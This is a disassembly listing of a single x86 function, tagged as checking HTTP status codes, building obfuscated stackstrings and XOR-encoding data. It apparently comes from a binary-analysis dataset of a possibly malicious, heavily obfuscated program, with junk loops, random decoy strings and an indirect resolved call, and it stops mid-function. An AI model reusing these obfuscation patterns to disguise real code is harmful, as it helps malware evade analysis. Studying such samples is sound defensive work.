Function at 0x1002568a
Capabilities:
Check http status code
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov eax, 0x10059537
call fcn.10058864
sub esp, 0x4ec
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24c], edx
mov dword [ebp - 0x78], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x180], 0xffffffff
mov dword [ebp - 0x1c], 0x3bfa32a1
mov dword [ebp - 0x1c], 0x3531
mov dword [ebp - 0x1c], 0xa13b2885
mov dword [ebp - 0x14], ebx
jmp 0x100256df
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x298], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100256d2
push ecx
push ecx
lea edx, [ebp - 0x180]
mov cl, 1
call fcn.10025348
mov ecx, dword [ebp - 0x298]
xor edx, edx
mov eax, dword [ebp - 0x180]
cmp eax, ecx
mov eax, dword [ebp - 0x294]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
add esp, 4
mov dword [ebp - 0x1c], ecx
xor dl, dl
mov eax, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x1c]
add eax, 0xffffde5d
add ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x180]
lea eax, [ebp - 0x58]
mov byte [ebp - 0x58], bl
push eax
call fcn.10024cee
pop ecx
pop ecx
mov dword [ebp - 0x19c], ebx
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10025777
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002576a
push 0x227c
push 1
push 1
push 0xfd1
push ebx
mov edx, 0xad0
mov ecx, 0x3cbb
call fcn.10025460
add esp, 0x14
mov dword [ebp - 0x18], ebx
jmp 0x100257c5
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100257bc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34c], 0xa9ef72d4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100257ab
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100257a3
mov dword [ebp - 0x20c], 0xf665683c
xor ecx, ecx
mov dword [ebp - 0x230], 0x8b166c19
inc ecx
mov dword [ebp - 0x218], 0x1f6f49c2
mov dword [ebp - 0x248], 0x8551b32e
mov dword [ebp - 0x214], 0xfffffffc
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0x20410224
mov dword [ebp - 0x24], 0xae89405d
mov dword [ebp - 0x18], ebx
jmp 0x10025827
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3f4], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10025816
mov dword [ebp - 0x18], ebx
jmp 0x1002583f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1bc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10025832
push ecx
lea eax, [ebp - 0x214]
push eax
push ebx
push 0x4d62
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x218]
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x248]
call fcn.10024ebf
add esp, 0x18
inc dword [ebp - 0x1bc]
mov dword [ebp - 0x9c], 0x7960b
mov dword [ebp - 0x98], 0x11090a04
mov dword [ebp - 0x94], 0x4c051501
push 0x6f
pop edi
push 0x17c
push 1
push ecx
mov cl, 1
mov dword [ebp - 0x90], 0x403410c
mov dword [ebp - 0x8c], 0x20060b02
mov dword [ebp - 0x88], 0x2d002d08
mov dword [ebp - 0x84], 0xa304c02
mov byte [ebp - 0x80], 0x31
mov word [ebp - 0x306], di
call fcn.1002480a
mov dl, byte [ebp - 0x9c]
add esp, 0xc
mov ecx, ebx
mov dword [ebp - 0x170], ecx
push 2
pop esi
mov dword [ebp - 0x28], esi
cmp esi, 0x1d
jae 0x10025a68
movzx eax, dl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x10025924
movzx eax, byte [ebp + esi - 0x9c]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x170], ecx
jmp 0x10025a60
movzx edx, byte [ebp + esi - 0x9b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x9e]
movzx ecx, word [ebp + eax*2 - 0x31c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x9c]
add ecx, edx
mov word [ebp + eax*2 - 0x31c], cx
mov dword [ebp - 0x14], 0x7632667a
mov dword [ebp - 0x14], ebx
jmp 0x10025977
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x340], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10025966
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jg 0x10025a44
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x340]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x340], ecx
mov dword [ebp - 0x1c], 0x233b
cmp dword [ebp - 0x1c], 0x249f
jle 0x10025a12
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x40c]
and eax, esi
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100259ce
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x40c]
call fcn.10014649
inc edi
cmp edi, 0x698c
jl 0x100259b2
inc esi
cmp esi, 0x5e89
jl 0x100259b0
push ebx
push 0x138f
push ebx
push 0x1945
push 0x48c
push ebx
push 0x1aae
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push ecx
mov byte [ebp - 0x56], bl
lea ecx, [ebp - 0x56]
xor dl, dl
call fcn.10024498
cmp dword [ebp - 0x1c], 0x21eb
pop ecx
jge 0x10025a35
push str.qxxzohcjz_jvzqn_bwz_czwdiecgs_qlcx_vquu_hvfpu_fcdjirii_syqzs
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 1
inc dword [ebp - 0x14]
jmp 0x10025980
lea edx, [ebp - 0x170]
xor cl, cl
call fcn.10024480
mov ecx, dword [ebp - 0x170]
mov esi, dword [ebp - 0x28]
mov dl, byte [ebp - 0x9c]
add esi, 2
jmp 0x100258f1
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x302], ax
inc ecx
mov dword [ebp - 0x14], 0x4a0d
mov dword [ebp - 0x1c], 0xeb4c8f0d
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0x14a9c79e
mov dword [ebp - 0x18], ebx
jmp 0x10025aa5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x23c], 0x4dcc80fc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10025a94
mov dword [ebp - 0x18], ebx
jmp 0x10025abd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x244], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10025ab0
cmp dword [ebp - 0x14], ebx
jne 0x10025ace
dec dword [ebp - 0x244]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x240], ebx
je 0x10025ae1
cmp dword [ebp - 0x234], ebx
jne 0x10025ae3
mov ecx, ebx
mov eax, dword [ebp - 0x238]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x14]
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
jne 0x10025b15
cmp dword [ebp - 0x234], ebx
je 0x10025b15
inc edx
jmp 0x10025b17
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 0x8009
xor ecx, ecx
cmp eax, 5
setle cl
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 1
jg 0x10025b74
mov ecx, 0x6d9e96b
mov dword [ebp - 0x20], 0x2e7eb665
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x23c], ecx
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
cmp eax, ecx
je 0x10025b66
xor eax, eax
inc eax
jmp 0x10025b68
mov eax, ebx
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jle 0x10025b46
mov dword [ebp - 0x30], 0x5fa9
cmp dword [ebp - 0x30], 0x6341
jle 0x10025bca
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [ebp - 0x3d0]
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025ba3
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3d0]
call fcn.10014649
inc esi
cmp esi, 0x4fdd
jl 0x10025b88
inc edi
cmp edi, 0x3a9b
jl 0x10025b86
cmp dword [ebp - 0x30], 0x5f44
jge 0x10025bde
push str.ipzfp_muy_qokd_acexips_uiegrfez_dvpxca_cgxayzle_srnvpahnp_pkhbbyq_hxuvojgm_xepjv_qcmywwdsr_xqvnj
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 1
mov ecx, ebx
push 0x6f
pop eax
push 2
mov dword [ebp - 0xb4], 0x100fa01
mov dword [ebp - 0xb0], 0x7087ec04
mov dword [ebp - 0xac], 0x2060604
mov dword [ebp - 0xa8], 0x74c0445
mov dword [ebp - 0xa4], 0x5060304
mov byte [ebp - 0xa0], bl
mov word [ebp - 0x2aa], ax
pop esi
mov dword [ebp - 0x17c], ecx
cmp esi, 4
jne 0x10025c45
push 5
pop ecx
push 7
mov dword [ebp - 0x17c], ecx
pop esi
jmp 0x10025ca2
movzx edx, byte [ebp + esi - 0xb3]
mov eax, esi
sub eax, ecx
push 0x44d5
push ebx
push 0x78c7
movzx eax, byte [ebp + eax - 0xb6]
movzx eax, word [ebp + eax*2 - 0x2ac]
mov ecx, eax
and eax, edx
or ecx, edx
xor dl, dl
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb4]
mov word [ebp + eax*2 - 0x2ac], cx
lea eax, [ebp - 0x17c]
push eax
push 0x993
mov cl, 1
call fcn.10024c33
mov ecx, dword [ebp - 0x17c]
add esp, 0x14
add esi, 2
cmp esi, 0x15
jb 0x10025c32
xor eax, eax
mov word [ebp - 0x29c], ax
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x30], 0x28cb
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x18], 0xa47b6c41
mov dword [ebp - 0x14], ebx
jmp 0x10025ce2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10025cd4
mov dword [ebp - 0x3c], 0xfffffff2
cmp dword [ebp - 0x3c], 0xc
jl 0x10025e33
mov dword [ebp - 0x14], 0x9f7fd1e8
mov dword [ebp - 0x24], 0x4145c174
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x20], 0x47ca
cmp dword [ebp - 0x20], 0x4a90
jle 0x10025d5e
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10072098
cdq
push edx
push eax
call fcn.10013ec4
inc edi
cmp edi, 0x1061
jl 0x10025d30
inc esi
cmp esi, 0x22e9
jl 0x10025d2e
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jne 0x10025d71
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setg dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setge dl
mov dword [ebp - 0x18], edx
xor edx, edx
cmp dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x14]
je 0x10025db4
cmp dword [ebp - 0x30], ebx
jne 0x10025db4
mov ecx, ebx
jmp 0x10025db7
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
add eax, ecx
cmp eax, 6
je 0x10025dc4
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 6
cmp dword [ebp - 0x20], 0x46d4
jge 0x10025e24
mov edx, str.siucecvug_xmag_hnuaxzr_mxzojic_shvxnx_krizsi_aquxdah_oxadmmd_pro_yznwnjp
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x10025e24
mov dword [ebp - 4], 1
inc dword [ebp - 0x3c]
jmp 0x10025cef
mov byte [ebp - 0x54], bl
lea ecx, [ebp - 0x54]
push 1
call fcn.100249b6
pop ecx
xor eax, eax
mov dword [ebp - 0x2dc], ebx
push 7
pop esi
mov word [ebp - 0x2ec], ax
lea ecx, [ebp - 0x2ec]
lea eax, [ebp - 0x2ac]
mov dword [ebp - 0x2d8], esi
push eax
call fcn.10014735
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2d4]
xor eax, eax
mov dword [ebp - 0x2c0], esi
mov word [ebp - 0x2d4], ax
lea eax, [ebp - 0x31c]
push eax
mov dword [ebp - 0x2c4], ebx
call fcn.10014735
lea eax, [ebp - 0x2d4]
push eax
lea ecx, [ebp - 0x3b8]
call fcn.10017b64
lea eax, [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0x3a0]
call fcn.10017b64
push ebx
push 1
lea ecx, [ebp - 0x2d4]
call fcn.100147bd
push ebx
push 1
lea ecx, [ebp - 0x2ec]
call fcn.100147bd
mov byte [ebp - 4], 9
lea eax, [ebp - 0x388]
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], ebx
push eax
lea eax, [ebp - 0x3b8]
mov dword [ebp - 0x1ac], ebx
push eax
push ebx
mov dword [ebp - 0x1a8], ebx
call fcn.10027a20
push fcn.10027256
push 1
push 0x30
lea eax, [ebp - 0x3b8]
mov byte [ebp - 4], 0xb
push eax
call fcn.10040672
push 1
call fcn.10024a73
mov dword [ebp - 0x2c], 0x16d2
cmp dword [ebp - 0x2c], 0x18a3
pop ecx
jle 0x10025f92
mov esi, ebx
mov dword [ebp - 0x20], ebx
mov edi, esi
mov esi, 0x20cd
mov eax, edi
lea ecx, [ebp - 0x3e8]
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025f60
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x3e8]
call fcn.10014649
dec edi
dec esi
jne 0x10025f46
mov esi, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x6f03
jl 0x10025f3f
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 7
pop esi
xor eax, eax
lea edi, [ebp - 0x31c]
cmp dword [ebp - 0x2c], 0x1525
mov ecx, esi
rep stosd dword es:[edi], eax
jge 0x10025fb2
push str.dhtmryo_zqgx_ekmtqo_csn_sgvplela_zmvqd_idutstfsp_iwhnz
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 0xb
lea edi, [ebp - 0x2ac]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x14], 0xfffffffc
mov dword [ebp - 0x1c], 0xea4d
mov dword [ebp - 0x28], 0xbc22
mov dword [ebp - 0x18], 0xfffffff8
mov dword [ebp - 0x4c], 0x19ff40b3
mov dword [ebp - 0x18], ebx
jmp 0x10026000
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1cc], 0x6fda0246
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10025fef
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1c8], 0xbc35
jle 0x10026021
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
sub ecx, 0x7b2415fb
cmp ecx, eax
mov eax, dword [ebp - 0x1c0]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c4]
setge cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
cmp dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
shl ecx, 2
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c8]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
mov dword [ebp - 0x24], edx
xor edx, edx
cmp dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c8]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setle dl
cmp edx, dword [ebp - 0x1c8]
jne 0x100260d7
push 1
push 1
mov byte [ebp - 0x51], bl
lea ecx, [ebp - 0x51]
push 0x629b
mov dl, 1
call fcn.100249e9
add esp, 8
mov byte [ebp - 0x53], bl
lea eax, [ebp - 0x53]
mov cl, 1
push eax
call fcn.10024c09
pop ecx
pop ecx
jmp 0x10026220
mov dword [ebp - 0x18], 0xebc5f7c0
mov dword [ebp - 0x18], ebx
jmp 0x100260f4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1a4], 0xf82966b9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100260e3
mov dword [ebp - 0x18], ebx
jmp 0x1002610d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x60], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x100260ff
push 0x20cd
push 1
push 0x16d5
mov dl, 1
push 0x2563
push 0x2421
mov cl, dl
call fcn.10024c33
mov eax, dword [ebp - 0x1c4]
xor edx, edx
mov dword [ebp - 0x18], eax
add esp, 0x14
mov ecx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c8]
setg cl
xor edx, edx
add eax, ecx
cmp eax, 3
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x18]
je 0x1002620c
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 0xf93a29ad
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jne 0x10026199
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x2c]
cmp eax, edx
setg cl
cmp ecx, dword [ebp - 0x18]
je 0x100261be
cmp dword [ebp - 0x14], ebx
jne 0x100261be
mov edx, ebx
mov eax, dword [ebp - 0x1c0]
sub edx, eax
jne 0x100261cb
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
cmp eax, 0x8ed5
mov eax, dword [ebp - 0x60]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1a0]
setle dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1a0]
setl cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x1a0]
cmp eax, ecx
setge dl
mov dword [ebp - 0x18], edx
jmp 0x10026220
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10026220
mov dl, 1
call fcn.10024cad
dec dword [ebp - 0x18]
jns 0x10026214
push 0x527
push 1
lea eax, [ebp + 8]
xor dl, dl
push eax
lea eax, [ebp - 0x1b0]
mov cl, 1
push 0x2854
push eax
call fcn.10024c33
mov dword [ebp - 0x38], 1
add esp, 0x14
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x20], 0xfc9a57b5
mov dword [ebp - 0x1c], 0x42af
mov dword [ebp - 0x210], ebx
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x2c], 0x7beb
cmp dword [ebp - 0x2c], 0x7d5a
jle 0x100262d1
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], edi
mov esi, ebx
and edi, eax
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov ecx, 0x10072098
and eax, esi
xor eax, edi
cdq
push edx
push eax
call fcn.10013ec4
inc ebx
cmp ebx, 0x5a8b
jl 0x1002628c
inc esi
push 0
pop ebx
cmp esi, 0x3c00
jl 0x10026289
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x7588
jl 0x10026282
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x77d4
jl 0x1002627d
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x2c], 0x7b81
jge 0x1002630e
mov edx, str.wcabyf_xtbfo_egly_jonnbi_srkvx_aaxntbrm_iysajvt_kjy_ixmdidflt_hjpyeo_wnvbfx
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x1002630e
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x24], 0x1114
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ebx
jne 0x1002633b
cmp dword [ebp - 0x38], ebx
jne 0x1002633b
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ebx
jne 0x1002633b
mov eax, ebx
jmp 0x1002633e
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setge cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], eax
jg 0x1002637f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov edx, 0x6595
mov eax, dword [ebp - 0x38]
push ecx
lea eax, [ebp - 0x55]
mov dword [ebp - 0x204], 3
mov byte [ebp - 0x55], bl
mov cl, 1
push eax
call fcn.10024c8f
pop ecx
lea eax, [ebp - 0x38]
mov dl, 1
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x50]
push eax
push ecx
lea ecx, [ebp - 0x204]
call fcn.100245d3
mov eax, dword [ebp - 0x24]
add esp, 0x14
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
cmp eax, 0xbc0a
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
setge dl
imul ecx, edx
xor edx, edx
cmp eax, ecx
setge dl
sub edx, 0xef5b
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x24], 0xb7d4
mov dword [ebp - 0x14], ebx
jmp 0x10026416
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x44], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10026408
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x20], 0x151e
cmp dword [ebp - 0x20], 0x1569
jle 0x1002646a
mov esi, ebx
mov edi, ebx
mov ebx, 0x16a1
mov eax, edi
mov ecx, 0x10072098
cdq
push edx
push eax
call fcn.10013ec4
add edi, esi
dec ebx
jne 0x1002644d
inc esi
cmp esi, 0x2ee9
jl 0x10026446
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x20], 0x1314
jge 0x100264a4
mov edx, str.zixabnzw_fbxzu_hznjm_winzyntsr_pntkrgzz_gpo_pcczplgzu_lddu_bcezol_jlpznq
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x100264a4
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x25c], 0xfffffffb
mov dword [ebp - 0x258], 0xfffffffb
mov dword [ebp - 0x254], 0xfffffffb
mov dword [ebp - 0x250], 0xfffffffb
mov dword [ebp - 0x14], ebx
jmp 0x100264e9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x168], 0x41a62a96
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100264d8
mov dword [ebp - 0x168], ebx
cmp dword [ebp - 0x168], ebx
jl 0x10026552
mov dword [ebp - 0x14], 0xfffffffa
xor edx, edx
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp + eax*4 - 0x44]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x14], ebx
jmp 0x10026544
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x250], 6
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp + eax*4 - 0x250]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x10026523
dec dword [ebp - 0x168]
jns 0x100264fd
push ebx
push 0x7a2f
push 0xae82
call fcn.10011306
pop ecx
pop ecx
call eax
push ecx
push 0x505
lea edx, [ebp - 0x300]
xor cl, cl
call fcn.10024c8f
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x20], 0x28cb
mov dword [ebp - 0x2c], 4
pop ecx
mov dword [ebp - 0x30], 0xa47b6c41
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x100265ad
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x34], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002659f
mov dword [ebp - 0x34], 0xfffffff2
jmp 0x10026671
mov dword [ebp - 0x14], 0x9f7fd1e8
mov dword [ebp - 0x18], 0x4145c174
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x24], 5
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x14]
jne 0x100265f5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setg dl
mov dword [ebp - 0x28], edx
xor edx, edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setge dl
mov dword [ebp - 0x24], edx
xor edx, edx
cmp dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x14]
je 0x10026638
cmp dword [ebp - 0x20], ebx
jne 0x10026638
mov ecx, ebx
jmp 0x1002663b
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x14]
add eax, ecx
cmp eax, 6
je 0x10026648
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
